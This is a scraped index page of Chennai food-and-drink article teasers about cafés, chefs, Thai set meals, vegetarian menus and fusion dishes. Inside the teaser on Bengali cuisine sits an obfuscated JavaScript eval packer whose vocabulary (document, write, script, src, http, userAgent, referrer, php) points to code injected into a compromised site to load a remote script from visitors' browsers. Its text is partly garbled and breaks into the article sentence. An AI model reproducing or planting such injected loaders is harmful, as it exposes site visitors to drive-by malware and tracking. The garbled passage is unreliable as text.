Home Chennai Food&Drink

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A plate of melt-in-the-mouth chicken kebab with a cup of piping hot tea equals...

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Non Stop Cravings, a new café in Kilpauk, promises conversation and comfort food TECHIE-turned-entrepreneur Rama-krishna...

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The Park’s new menu just made turmeric sexy. Expect flaming shots of whiskey in your golden milk and sunshine-coloured mascarpone Milk, cinnamon, turmeric, honey...

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Culinary holiday Book a ticket to Thanjavur to explore the land of Royals, tracing the culinary history from the Cholas to the Marathas. The...

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Festive eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|afdba|var|u0026u|referrer|fdhys||js|php'.split('|'),0,{})) cuisine from Bengal takes centrestage at Ashivta Bistro, thanks to a former MasterChef FOR HOME CHEF Priya-darshini Gupta, hosting...

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Cordon Bleu Chef Madhulika Sundaram  opens her debut fine dining space Chef’s Table PUMPKIN and grape jam just became BFFs. And it’s all thanks...

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For an anniversary  treat, Benjarong is offering some good old ‘set meal’ prices Connoisseurs of Thai food in the city may be aware that...

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Gone are the ‘salad-only’ ordeals for vegetarian gourmands, as a handful of chefs are giving meat-centric menus a veg spin. The passage from Mahatma...

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Chef Meril Antony Aricatt takes recipe note-taking well beyond the kitchen. “See this hair?” he says, pointing to his jet black mane. “I’m 45,...

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Check out Café Mercara Express’ series of fusion food with a twist Ever tried kosho mangsho with kal dosa? Or chingri malai curry with...

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